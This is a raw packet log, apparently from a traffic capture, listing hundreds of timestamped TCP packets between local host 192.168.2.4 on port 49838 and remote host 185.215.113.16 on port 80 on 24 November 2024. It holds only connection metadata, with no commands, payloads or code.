Nov 24, 2024 14:24:42.609075069 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.609150887 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.609210968 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.609913111 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.609966040 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.610028028 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.610075951 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.610831976 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.610889912 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.610948086 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.611005068 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.611763000 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.611881018 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.611932993 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.612828970 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.612879038 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.612943888 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.612994909 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.613612890 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.613658905 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.613719940 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.613773108 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.614510059 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.614559889 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.614624023 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.614669085 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.615386009 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.619368076 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.777836084 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.777970076 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.778028011 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.778276920 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.778446913 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.778505087 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.778583050 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.778635025 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.779364109 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.779479027 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.779532909 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.780000925 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.780038118 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.780052900 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.780083895 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.780900002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.780956030 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.780986071 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.781028986 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.781728029 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.781845093 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.781867981 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.781892061 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.782644033 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.782871962 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.782931089 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.783588886 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.783683062 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.783736944 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.784497023 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.784673929 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.784725904 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.785404921 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.785459042 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.785511971 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.786335945 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.786444902 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.786479950 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.786518097 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.787250042 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.787333965 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.787365913 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.787408113 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.788160086 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.788270950 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.788278103 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.788350105 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.789082050 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.789195061 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.789218903 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.789251089 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.789990902 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.790070057 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.790131092 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.790177107 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.790926933 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.790977001 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.791043997 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.791089058 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.791857004 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.791920900 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.791963100 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.792001963 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.792789936 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.792907953 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.792963028 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.793680906 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.793726921 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.793775082 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.793829918 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.794632912 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.794809103 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.794864893 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.797985077 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.798022032 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.798059940 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.798077106 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.798101902 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.798118114 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.798151970 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.798172951 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.798187017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.798193932 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.798230886 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.798744917 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.798877001 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.798934937 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.799796104 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.799850941 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.799906015 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.800715923 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.800767899 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.800820112 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.801462889 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.801539898 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.801601887 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.802182913 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.802624941 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.802659988 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.802707911 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.803354025 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.803503036 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.803556919 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.804240942 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.804388046 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.804440975 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.805100918 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.805274010 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.805325985 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.806041002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.806230068 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.806283951 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.807058096 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.807202101 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.807257891 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.807943106 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.808096886 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.808151960 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.808832884 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.808988094 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.809037924 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.809740067 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.809894085 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.809947968 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.810798883 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.810833931 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.810884953 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.811669111 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.811702967 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.811758995 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.812566042 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.812733889 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.812783003 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.813438892 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.813607931 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.813663960 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.814528942 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.814563036 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.814614058 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.815419912 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.815562010 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.815583944 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.815648079 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.816296101 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.816355944 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.816437960 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.817055941 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.817157030 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.817322016 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.817377090 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.818089962 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.818237066 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.818291903 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.819140911 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.819175005 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.819227934 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.819858074 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.820040941 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.820113897 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.820878983 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.820930004 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.821027994 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.821732044 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.821743965 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.821808100 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.821873903 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.821922064 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.822649002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.822701931 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.822782993 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.822834015 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.823707104 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.823756933 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.823805094 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.824579000 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.824732065 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.824785948 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.825454950 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.825505972 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.825558901 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.988032103 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.988146067 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.988210917 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.988219976 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.988269091 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.988305092 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.988358021 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.989408970 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.989456892 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.989505053 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.989553928 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.990063906 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.990113020 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.990156889 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.990200996 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.990700006 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.990746021 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.990807056 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.990854025 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.991632938 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.991792917 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.991843939 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.992558002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.992620945 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.992685080 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.992729902 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.993458033 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.993503094 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.993578911 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.993628025 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.994414091 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.994463921 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.994540930 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.994589090 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.995305061 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.995420933 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.995470047 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.996231079 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.996279955 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.996332884 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.996372938 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.997183084 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.997231960 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.997237921 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.997283936 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.998128891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.998178959 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.998222113 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.998271942 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.999010086 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.999061108 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.999118090 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.999927044 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.999994993 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.000072956 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.000119925 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.000829935 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.000884056 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.000946999 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.000993967 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.001753092 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.001818895 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.001889944 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.001939058 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.002681017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.002732038 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.002794027 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.002841949 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.003604889 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.003716946 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.003774881 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.004532099 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.004585981 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.004599094 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.004642010 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.005424023 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.005476952 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.005554914 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.005601883 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.006362915 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.006414890 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.006416082 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.006463051 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.007291079 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.007405996 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.007457018 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.008222103 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.008275032 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.008357048 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.008404970 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.009135962 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.009186983 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.009248018 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.009294033 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.010042906 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.010097027 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.010127068 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.010173082 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.010977983 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.011049032 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.011092901 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.011137962 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.011898994 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.012026072 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.012089014 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.012809992 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.012866020 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.012939930 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.012991905 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.013772011 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.013823032 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.013884068 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.013935089 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.014664888 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.014718056 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.014729977 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.014770985 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.015614986 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.015721083 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.015777111 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.016501904 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.016556978 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.016632080 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.016686916 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.017452002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.017504930 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.017615080 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.017662048 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.018376112 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.018425941 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:43.018488884 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:43.018538952 CET	49838	80	192.168.2.4	185.215.113.16
